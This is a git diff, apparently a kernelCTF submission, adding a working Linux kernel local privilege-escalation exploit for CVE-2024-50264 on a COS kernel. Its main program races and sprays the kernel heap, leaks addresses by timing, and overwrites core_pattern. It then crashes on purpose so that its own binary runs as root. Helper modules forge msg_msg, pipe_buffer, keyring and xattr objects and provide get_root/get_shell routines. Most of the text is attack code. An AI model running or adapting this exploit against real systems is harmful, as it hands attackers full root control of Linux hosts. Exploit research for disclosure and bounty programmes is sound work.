rdtsc_end(void) +{ +#if defined(ARM64) + return rdtsc(); +#else + size_t a, d; + asm volatile ("lfence"); + asm volatile ("rdtsc" : "=a" (a), "=d" (d)); + a = (d<<32) | a; + asm volatile ("mfence"); + return a; +#endif +} + +// uint64_t PHYS_LO_32 = 0x2200000; +uint64_t PHYS_LO_32 = 0x1f00000; + +#define N_PAGESPRAY 0x500 +#define MMAP_SIZE 0x400000 +void *page_spray[N_PAGESPRAY]; + +// int random_in_range(int min, int max, unsigned int *seed) +// { +// return rand_r(seed) % (max - min + 1) + min; +// } + +unsigned int generate_seed() { + struct timespec ts; + clock_gettime(CLOCK_REALTIME, &ts); + return (unsigned int)(ts.tv_nsec); +} + +int *race_shared_mutex; + +int race_thread(void *arg) +{ + _pin_to_cpu(HELPER_CPU); + for(int i=0; i < N_PAGESPRAY; i++) + for(int j=MMAP_SIZE/0x2000; j=0; i--) + if(times[i] > 5500) + { + inuse = OBJS_PER_SLAB - i; + break; + } + + printf("inuse: %d\n", inuse); + usleep(10000); + + for(int i=inuse; i 1) + { + printf("triggered from core_pattern\n"); + root(argv[1]); + exit(0); + } + + // PHYS_LO_32 = strtoll(argv[1], NULL, 0); + struct rlimit rlim = { + .rlim_cur = 4096, + .rlim_max = 4096}; + setrlimit(RLIMIT_NOFILE, &rlim); + + targetstr = (char *)mmap(0x12340000, 0x100, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0); + strcpy(targetstr, "|/proc/%P/fd/666 %P"); + + memset(shellcode, 0x90, 0x100); + memcpy(shellcode + 0x100, overwrite_core_pattern_shellcode, 0x100); + + shared_mutex = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); + *shared_mutex = 0; + race_shared_mutex = mmap(NULL, sizeof(int), PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); + sc(); + + tfd = timerfd_create(CLOCK_MONOTONIC, 0); + do_epoll_enqueue(tfd); + srand(time(NULL)); + memset(&payload, '?', sizeof(payload)); + + trigger_stack = mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); + FAIL_IF(trigger_stack == MAP_FAILED); + trigger_stack += 0x8000; + heap_spray_stack = mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); + FAIL_IF(heap_spray_stack == MAP_FAILED); + heap_spray_stack += 0x8000; + + do { + int spray_worker_pid = clone(heap_spraying, heap_spray_stack, CLONE_NEWUSER | CLONE_NEWNET | CLONE_VM | SIGCHLD, NULL); + FAIL_IF(spray_worker_pid < 0); + FAIL_IF(waitpid(spray_worker_pid, NULL, 0) < 0); + } while (status_spray == SPRAY_RETRY); + + *shared_mutex = 1; + + // system("cat /proc/sys/kernel/modprobe"); + while(true) + { + if(check_core()) + { + printf("core pattern changed!\n"); + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + write(1, buf, sizeof(buf)); + if(!fork()) + { + int memfd = memfd_create("x", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, + 0xffffffff)); + dup2(memfd, 666); + close(memfd); + // trigger crash + *(size_t *)0 = 0; + } + break; + } + sleep(1); + } + + while(true) + sleep(100); + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/.gitignore b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/.gitignore new file mode 100644 index 00000000..15309787 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/.gitignore @@ -0,0 +1 @@ +*.o \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/Makefile b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/Makefile new file mode 100644 index 00000000..77966f2a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/Makefile @@ -0,0 +1,28 @@ +# https://github.com/qwerty-po/kernel_exploit_modules + +# define complier type +CC = gcc +# compile options setting +CFLAGS = -O2 -static +# library link & option setting + +msg_msg.o: msg_msg.c + $(CC) $(CFLAGS) -c $^ + +helper.o: helper.c + $(CC) $(CFLAGS) -c $^ + +xattr.o: xattr.c + $(CC) $(CFLAGS) -c $^ + +LDFLAGS = -lkeyutils +keyring.o: keyring.c + $(CC) $(CFLAGS) $(LDFLAGS) -c $^ + +pipe.o: pipe.c + $(CC) $(CFLAGS) -c $^ + +all: msg_msg.o helper.o xattr.o keyring.o pipe.o + +clean: + rm -f *.o \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/helper.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/helper.c new file mode 100644 index 00000000..8eb13ed1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/helper.c @@ -0,0 +1,126 @@ +// https://github.com/qwerty-po/kernel_exploit_modules/helper.c + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#include "helper.h" + +void panic(char *msg) +{ + perror(msg); + exit(-1); +} + +void print_hex_bytes(uint8_t *buf, int l, int r) +{ + for(int i = l; i < r; i+=0x10) + { + for(int j = 0; j < 0x10 && i + j < r; j++) + { + printf("%02x ", buf[i+j]); + } + printf("\n"); + } +} + +void print_hex_8bytes(uint64_t *buf, int l, int r) +{ + for(int i=l; ics), + [ss] "=r" (r->ss), + [rsp] "=r" (r->rsp), + [rflags] "=r" (r->rflags) + ); + + return r; +} + +uint64_t virt2page(uint64_t virt, uint64_t vmalloc_base, uint64_t vmemmap_base) { + assert((virt & 0xfff) == 0x000); + return (((virt - vmalloc_base) >> 0xc) << 0x6) + vmemmap_base; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/helper.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/helper.h new file mode 100644 index 00000000..8e554041 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/helper.h @@ -0,0 +1,49 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#ifndef MODULES_HELPER +#define MODULES_HELPER + +#define KMALLOC_16 (0x10) +#define KMALLOC_32 (0x20) +#define KMALLOC_64 (0x40) +#define KMALLOC_96 (0x60) +#define KMALLOC_128 (0x80) +#define KMALLOC_192 (0xc0) +#define KMALLOC_256 (0x100) +#define KMALLOC_512 (0x200) +#define KMALLOC_1K (0x400) +#define KMALLOC_2K (0x800) +#define KMALLOC_4K (0x1000) +#define KMALLOC_8K (0x2000) +#define KMALLOC_16K (0x4000) +#define KMALLOC_32K (0x8000) +#define KMALLOC_64K (0x10000) +#define KMALLOC_128K (0x20000) + +#define PAGE_SIZE KMALLOC_4K + +void print_hex_bytes(uint8_t *buf, int l, int r); +void print_hex_8bytes(uint64_t *buf, int l, int r); + +void cpu_affinity(int cpu); +void unshare_setup(int flags); + +void get_root(); + +void win(); +void get_shell(); + +struct regs { + uint64_t rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp, rip, rflags; + uint64_t cs, ss, ds, es, fs, gs; +}; +struct regs *save_state(); + +uint64_t virt2page(uint64_t virt, uint64_t vmalloc_base, uint64_t vmemmap_base); + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/keyring.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/keyring.c new file mode 100644 index 00000000..7a2de4cd --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/keyring.c @@ -0,0 +1,61 @@ +// https://github.com/qwerty-po/kernel_exploit_modules/helper.c + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "keyring.h" + +key_serial_t create_keyring(char *type, char *description, char *payload, uint64_t objectsz, key_serial_t ringid) +{ + key_serial_t keyring = add_key(type, description, payload, objectsz, ringid); + if(keyring < 0) + perror("add_key"); + return keyring; +} + +key_serial_t create_spec_keyring(char *type, char *description, char *payload, uint64_t objectsz) +{ + return create_keyring(type, description, payload, objectsz, KEY_SPEC_PROCESS_KEYRING); +} + +key_serial_t create_simple_keyring(char *payload, uint64_t objectsz) +{ + return create_spec_keyring(KEYRING_TYPE_USER, payload, payload, objectsz); +} + +struct keyring_ret *read_keyring(key_serial_t ringid, uint64_t sz) +{ + struct keyring_ret *ret = malloc(sizeof(struct keyring_ret)); + ret->size = keyctl_read_alloc(ringid, (void **)&ret->data); +} + +void update_keyring(key_serial_t ringid, char *payload, uint64_t objectsz) +{ + if(keyctl_update(ringid, payload, objectsz) < 0) + perror("keyctl_update"); +} + +void remove_keyring(key_serial_t ringid) +{ + if(keyctl_revoke(ringid) < 0) + perror("keyctl_revoke"); +} + +struct user_key_payload *fake_keyring(void *rcu_next, void *func, uint16_t datalen, char *data) +{ + struct user_key_payload *payload = malloc(USER_KEY_PAYLOAD_SIZE + datalen); + payload->rcu.next = rcu_next; + payload->rcu.func = func; + payload->datalen = datalen; + memcpy(payload->data, data, datalen); + + return payload; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/keyring.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/keyring.h new file mode 100644 index 00000000..57e81642 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/keyring.h @@ -0,0 +1,65 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#include +#include + +#ifndef MODULES_KEYRING +#define MODULES_KEYRING + +typedef int32_t key_serial_t; + +#ifndef MODULES_RCU_CALLBACK_HEAD +#define MODULES_RCU_CALLBACK_HEAD +struct callback_head { + struct callback_head *next; + void (*func)(struct callback_head *); +}; +#endif + +struct user_key_payload { + struct callback_head rcu; + short unsigned int datalen; + char data[]; +}; + +struct keyring_ret { + uint64_t size; + char *data; +}; + +#define KEYRING_TYPE_USER "user" +#define KEYRING_TYPE_KEYRING "keyring" +#define KEYRING_TYPE_LOGON "logon" +#define KEYRING_TYPE_BIGKEY "big_key" + +#define USER_KEY_PAYLOAD_SIZE (sizeof(struct user_key_payload)) +#define KEYRING_KMALLOC_32 (0x20 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_64 (0x40 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_96 (0x60 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_128 (0x80 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_256 (0x100 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_512 (0x200 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_1k (0x400 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_2k (0x800 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_4k (0x1000 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_8k (0x2000 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_16k (0x4000 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_32k (0x8000 - USER_KEY_PAYLOAD_SIZE) +#define KEYRING_KMALLOC_64k (0x10000 - USER_KEY_PAYLOAD_SIZE) + +key_serial_t create_keyring(char *type, char *description, char *payload, uint64_t objectsz, key_serial_t ringid); +key_serial_t create_spec_keyring(char *type, char *description, char *payload, uint64_t objectsz); +key_serial_t create_simple_keyring(char *payload, uint64_t objectsz); + +struct keyring_ret *read_keyring(key_serial_t ringid, uint64_t sz); +void update_keyring(key_serial_t ringid, char *payload, uint64_t objectsz); +void remove_keyring(key_serial_t ringid); + +struct user_key_payload *fake_keyring(void *rcu_next, void *func, uint16_t datalen, char *data); +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/msg_msg.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/msg_msg.c new file mode 100644 index 00000000..6d7e0a39 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/msg_msg.c @@ -0,0 +1,113 @@ +// https://github.com/qwerty-po/kernel_exploit_modules/keyring.c + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +#include "msg_msg.h" + +#define DEBUG 0 + +int alloc_msg_queue(void) +{ + int msqid = msgget(IPC_PRIVATE, IPC_CREAT | 0666); + if (msqid == -1) + perror("msgget"); + return msqid; +} + +void insert_msg_msg(int msqid, int64_t mtype, uint64_t objectsz, uint64_t msgsz, char *mtext) +{ + assert(msgsz <= objectsz); + struct msg *msg = (struct msg *)calloc(MSG_HEADER_SIZE + objectsz, 1); + + msg->m_type = mtype; + // in kernel, data will fill at [0x30, msgsz-MSG_MSG_HEADER_SIZE) + memset(msg->m_text, '\xbf', objectsz); + memcpy(msg->m_text, mtext, msgsz); + + if (msgsnd(msqid, msg, objectsz, 0) < 0) + perror("msgsnd"); +} + +char *read_msg_msg(int msqid, int64_t mtype, uint64_t msgsz) +{ + struct msg *buf = (struct msg *)calloc(MSG_HEADER_SIZE + msgsz, 1); + uint64_t len = 0; + if ((len = msgrcv(msqid, buf, msgsz, mtype, 0)) < 0) + perror("msgrcv"); + char *target = (char *)calloc(len, 1); + memcpy(target, buf->m_text, len); + return target; +} + +void release_msg_msg(int msqid, int64_t mtype) +{ + read_msg_msg(msqid, mtype, MSG_MSG_KMALLOC_CG_4k); +} + +void insert_msg_msgseg(int msqid, int64_t mtype, uint64_t objectsz, uint64_t msgsz, char *mtext) +{ + assert(msgsz <= objectsz); + struct msg *msg = (struct msg *)calloc(MSG_HEADER_SIZE + MSG_MSG_KMALLOC_CG_4k + objectsz, 1); + + msg->m_type = mtype; + // in kernel, data will fill at [0x30, 4k) -> kmalloc-4k + // [0x8, msgsz) -> target slab + memset(msg->m_text, '\xbf', MSG_MSG_KMALLOC_CG_4k + objectsz); + memcpy(msg->m_text + MSG_MSG_KMALLOC_CG_4k, mtext, msgsz); + + #if DEBUG + printf("insert_msg_msgseg: msgsz: 0x%lx\n", MSG_MSG_KMALLOC_CG_4k + objectsz); + #endif + + + if (msgsnd(msqid, msg, MSG_MSG_KMALLOC_CG_4k + objectsz, IPC_NOWAIT) < 0) + perror("msgsnd"); +} + +char *read_msg_msgseg(int msqid, int64_t mtype, uint64_t objectsz) +{ + struct msg *msg = (struct msg *)calloc(MSG_HEADER_SIZE + MSG_MSG_KMALLOC_CG_4k + objectsz, 1); + if (msgrcv(msqid, msg, MSG_MSG_KMALLOC_CG_4k + objectsz, mtype, IPC_NOWAIT) < 0) + perror("msgrcv"); + + char *target = (char *)calloc(objectsz, 1); + memcpy(target, msg->m_text + MSG_MSG_KMALLOC_CG_4k, objectsz); + return target; +} + +void release_msg_msgseg(int msqid, int64_t mtype) +{ + read_msg_msgseg(msqid, mtype, MSG_MSG_KMALLOC_CG_4k + MSG_MSGSEG_KMALLOC_CG_4k); +} + +struct msg_msg *fake_msg_msg(struct list_head *list_next, struct list_head *list_prev, int64_t mtype, int m_ts, void *next, char *mtext, uint64_t datalen) +{ + struct msg_msg *msg = (struct msg_msg *)calloc(MSG_MSG_HEADER_SIZE + datalen, 1); + msg->m_list.next = list_next; + msg->m_list.prev = list_prev; + msg->m_type = mtype; + msg->m_ts = m_ts; + msg->next = next; + memcpy(msg->m_text, mtext, datalen); + + return msg; +} + +struct msg_msgseg *fake_msg_msgseg(struct msg_msgseg *next, char *mtext, uint64_t datalen) +{ + struct msg_msgseg *msgseg = (struct msg_msgseg *)calloc(MSG_MSGSEG_HEADER_SIZE + datalen, 1); + msgseg->next = next; + memcpy(msgseg->m_text, mtext, datalen); + + return msgseg; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/msg_msg.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/msg_msg.h new file mode 100644 index 00000000..0f0c6e34 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/msg_msg.h @@ -0,0 +1,75 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include + +#include +#include + +#ifndef MODULES_LIST_HEAD +#define MODULES_LIST_HEAD +struct list_head { + struct list_head *next, *prev; +}; +#endif + +#ifndef MODULES_MSG_MSG +#define MODULES_MSG_MSG +struct msg_msg{ + struct list_head m_list; + int64_t m_type; + int m_ts; + struct msg_msgseg *next; + void *security; + char m_text[]; +}; + +struct msg_msgseg { + struct msg_msgseg *next; + char m_text[]; +}; + +struct msg { + int64_t m_type; + char m_text[]; +}; + +#define MSG_HEADER_SIZE sizeof(struct msg) +#define MSG_MSG_HEADER_SIZE sizeof(struct msg_msg) +#define MSG_MSGSEG_HEADER_SIZE sizeof(struct msg_msgseg) + +#define MSG_MSG_KMALLOC_CG_64 (0x40 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_128 (0x80 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_192 (0xc0 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_256 (0x100 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_512 (0x200 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_1k (0x400 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_2k (0x800 - MSG_MSG_HEADER_SIZE) +#define MSG_MSG_KMALLOC_CG_4k (0x1000 - MSG_MSG_HEADER_SIZE) + +#define MSG_MSGSEG_KMALLOC_CG_16 (0x10 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_32 (0x20 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_64 (0x40 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_128 (0x80 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_192 (0xc0 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_256 (0x100 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_512 (0x200 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_1k (0x400 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_2k (0x800 - MSG_MSGSEG_HEADER_SIZE) +#define MSG_MSGSEG_KMALLOC_CG_4k (0x1000 - MSG_MSGSEG_HEADER_SIZE) + +int alloc_msg_queue(void); + +void insert_msg_msg(int msqid, int64_t mtype, uint64_t objectsz, uint64_t msgsz, char *mtext); +char *read_msg_msg(int msqid, int64_t mtype, uint64_t msgsz); +void release_msg_msg(int msqid, int64_t mtype); + +void insert_msg_msgseg(int msqid, int64_t mtype, uint64_t objectsz, uint64_t msgsz, char *mtext); +char *read_msg_msgseg(int msqid, int64_t mtype, uint64_t msgsz); +void release_msg_msgseg(int msqid, int64_t mtype); + +struct msg_msg *fake_msg_msg(struct list_head *list_next, struct list_head *list_prev, int64_t mtype, int m_ts, void *next, char *mtext, uint64_t datalen); +struct msg_msgseg *fake_msg_msgseg(struct msg_msgseg *next, char *mtext, uint64_t datalen); +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/pipe.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/pipe.c new file mode 100644 index 00000000..59d98374 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/pipe.c @@ -0,0 +1,109 @@ +// https://github.com/qwerty-po/kernel_exploit_modules/msg_msg.c + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "pipe.h" +#include "helper.h" + +#define DEBUG 0 + +struct pipeio *create_pipeio(void) +{ + struct pipeio *pio = (struct pipeio *)calloc(sizeof(struct pipeio), 1); + if(pipe((int *)&pio->pipe) < 0) + perror("pipe alloc"); + + #if DEBUG + printf("pipe readfd: %d\n", pio->pipe.readfd); + printf("pipe writefd: %d\n", pio->pipe.writefd); + #endif + + pio->is_ops_activated = false; + + return pio; +} + +void activate_ops(struct pipeio *pipe) +{ + char buf[0x10]; + + if(write(pipe->pipe.writefd, "A", 1) < 0) + perror("pipe write & activate ops"); + pipe->is_ops_activated = true; +} + +void resize_pipe(struct pipeio *pipe, uint64_t objectsz) +{ + #if DEBUG + printf("pipe writefd: %d\n", pipe->pipe.writefd); + #endif + + if(fcntl(pipe->pipe.writefd, F_SETPIPE_SZ, objectsz) < 0) + perror("pipe resize"); +} + +void read_pipe(struct pipeio *pipe, char *buf, uint64_t size) +{ + if(read(pipe->pipe.readfd, buf, size) < 0) + perror("pipe read"); +} + +void write_pipe(struct pipeio *pipe, char *buf, uint64_t size) +{ + if(write(pipe->pipe.writefd, buf, size) < 0) + perror("pipe write"); + else + pipe->is_ops_activated = true; +} + +void release_pipe(struct pipeio *pipe) +{ + if(!pipe) + return; + close(pipe->pipe.readfd); + close(pipe->pipe.writefd); + free(pipe); +} + +void trigger_ops_release(struct pipeio *pipe) +{ + if(!pipe->is_ops_activated) + printf("trigger_ops_release: ops not activated\n"); + else + { + close(pipe->pipe.readfd); + close(pipe->pipe.writefd); + } +} + +struct pipe_buffer *fake_pipe_buffer(struct page *page, uint32_t offset, uint32_t len, void *ops, uint32_t flags, unsigned long private_v) +{ + struct pipe_buffer *pb = (struct pipe_buffer *)calloc(sizeof(struct pipe_buffer), 1); + pb->page = page; + pb->offset = offset; + pb->len = len; + pb->ops = ops; + pb->flags = flags; + pb->private_v = private_v; + + return pb; +} + +struct pipe_buf_operations *fake_pipe_buf_ops(void *release) +{ + struct pipe_buf_operations *pbo = (struct pipe_buf_operations *)calloc(sizeof(struct pipe_buf_operations), 1); + pbo->release = release; + + return pbo; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/pipe.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/pipe.h new file mode 100644 index 00000000..b136ead5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/pipe.h @@ -0,0 +1,91 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +#include + +#ifndef MODULES_PIPE +#define MODULES_PIPE + +struct pipe_inode_info { + struct pipe_buffer *bufs; + unsigned long nrbufs, curbuf; +}; + +struct pipe_buffer; +struct pipe_buf_operations { + /* + * ->confirm() verifies that the data in the pipe buffer is there + * and that the contents are good. If the pages in the pipe belong + * to a file system, we may need to wait for IO completion in this + * hook. Returns 0 for good, or a negative error value in case of + * error. If not present all pages are considered good. + */ + int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); + + /* + * When the contents of this pipe buffer has been completely + * consumed by a reader, ->release() is called. + */ + void (*release)(struct pipe_inode_info *, struct pipe_buffer *); + + /* + * Attempt to take ownership of the pipe buffer and its contents. + * ->try_steal() returns %true for success, in which case the contents + * of the pipe (the buf->page) is locked and now completely owned by the + * caller. The page may then be transferred to a different mapping, the + * most often used case is insertion into different file address space + * cache. + */ + bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *); + + /* + * Get a reference to the pipe buffer. + */ + bool (*get)(struct pipe_inode_info *, struct pipe_buffer *); +}; + +struct pipe_buffer { + struct page *page; + unsigned int offset, len; + const struct pipe_buf_operations *ops; + unsigned int flags; + unsigned long private_v; +}; + +struct pipeio { + struct { + int readfd, writefd; + } pipe; + bool is_ops_activated; +}; + +#define PIPE_BUFFER_KMALLOC_CG_64 (PAGE_SIZE) +#define PIPE_BUFFER_KMALLOC_CG_192 (PAGE_SIZE * 4) +#define PIPE_BUFFER_KMALLOC_CG_512 (PAGE_SIZE * 8) +#define PIPE_BUFFER_KMALLOC_CG_1k (PAGE_SIZE * 16) +#define PIPE_BUFFER_KMALLOC_CG_2k (PAGE_SIZE * 32) +#define PIPE_BUFFER_KMALLOC_CG_4k (PAGE_SIZE * 64) +#define PIPE_BUFFER_KMALLOC_CG_8k (PAGE_SIZE * 128) +#define PIPE_BUFFER_KMALLOC_CG_16k (PAGE_SIZE * 256) +#define PIPE_BUFFER_KMALLOC_CG_32k (PAGE_SIZE * 512) +#define PIPE_BUFFER_KMALLOC_CG_64k (PAGE_SIZE * 1024) + +struct pipeio *create_pipeio(void); + +void activate_ops(struct pipeio *pipe); +void resize_pipe(struct pipeio *pipe, uint64_t objectsz); +void read_pipe(struct pipeio *pipe, char *buf, uint64_t size); +void write_pipe(struct pipeio *pipe, char *buf, uint64_t size); +void release_pipe(struct pipeio *pipe); + +void trigger_ops_release(struct pipeio *pipe); + +struct pipe_buffer *fake_pipe_buffer(struct page *page, uint32_t offset, uint32_t len, void *ops, uint32_t flags, unsigned long private_v); +struct pipe_buf_operations *fake_pipe_buf_ops(void *release); +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/xattr.c b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/xattr.c new file mode 100644 index 00000000..c32429cf --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/xattr.c @@ -0,0 +1,106 @@ +// https://github.com/qwerty-po/kernel_exploit_modules/xattr.c + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "xattr.h" +#include "helper.h" + +char *gen_xattr_name(char *prefix, char *name) +{ + assert(prefix[strlen(prefix) - 1] == '.'); + char *xattr_name = (char *)calloc(strlen(prefix) + strlen(name) + 1, 1); + strcpy(xattr_name, prefix); + strcat(xattr_name, name); + return xattr_name; +} + +char *gen_xattr_name_fixed_sz(char *prefix, char *name, size_t sz) +{ + assert(prefix[strlen(prefix) - 1] == '.'); + char *xattr_name = (char *)calloc(strlen(prefix) + strlen(name) + sz, 1); + strcpy(xattr_name, prefix); + strcat(xattr_name, name); + memset(xattr_name + strlen(xattr_name), 'A', sz - 1 - strlen(xattr_name)); + name[sz-1] = '\0'; + return xattr_name; +} + +int create_xattr(char *fname, char *name, char *value, uint64_t objectsz, bool panic_on_warn) +{ + int err = 0; + if((err = setxattr(fname, name, value, objectsz, 0)) < 0) + { + if(panic_on_warn) + panic("setxattr"); + else + perror("setxattr"); + } + + return err; +} + +struct xattr_return *read_xattr(char *fname, char *name) +{ + struct xattr_return *ret = (struct xattr_return *)calloc(sizeof(struct xattr_return), 1); + + ret->value = (char *)calloc(0x10000, 1); + if((ret->size = getxattr(fname, name, ret->value, 0x10000)) < 0) + perror("getxattr"); + return ret; +} + +int remove_xattr(char *fname, char *name, bool panic_on_warn) +{ + int err = 0; + if((err = removexattr(fname, name)) < 0) + { + if(panic_on_warn) + panic("removexattr"); + else + perror("removexattr"); + } + return err; +} + +void remove_xattr_noerror(char *fname, char *name) +{ + removexattr(fname, name); +} + +#if MODULES_CONFIG_IS_XATTR_RBTREE +struct simple_xattr *fake_xattr(bool color, struct rb_node *parent, struct rb_node *right, struct rb_node *left, char *name, size_t size, char *value, uint64_t valuesz) +{ + struct simple_xattr *xattr = (struct simple_xattr *)calloc(sizeof(struct simple_xattr) + valuesz, 1); + xattr->rb_node.__rb_parent_color = (uint64_t)parent | color; + xattr->rb_node.rb_right = right; + xattr->rb_node.rb_left = left; + xattr->name = name; + xattr->size = size; + memcpy(xattr->value, value, valuesz); + + return xattr; +} +#else +struct simple_xattr *fake_xattr(struct list_head *next, struct list_head *prev, char *name, size_t size, char *value, uint64_t valuesz) +{ + struct simple_xattr *xattr = (struct simple_xattr *)calloc(sizeof(struct simple_xattr) + valuesz, 1); + xattr->list.next = next; + xattr->list.prev = prev; + xattr->name = name; + xattr->size = size; + memcpy(xattr->value, value, valuesz); + + return xattr; +} +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/xattr.h b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/xattr.h new file mode 100644 index 00000000..197f7061 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-50264_lts_cos/exploit/cos-109-17800.309.84/modules/xattr.h @@ -0,0 +1,94 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include + +#include + +#ifndef MODULES_SIMPLE_XATTR +#define MODULES_SIMPLE_XATTR + +#define 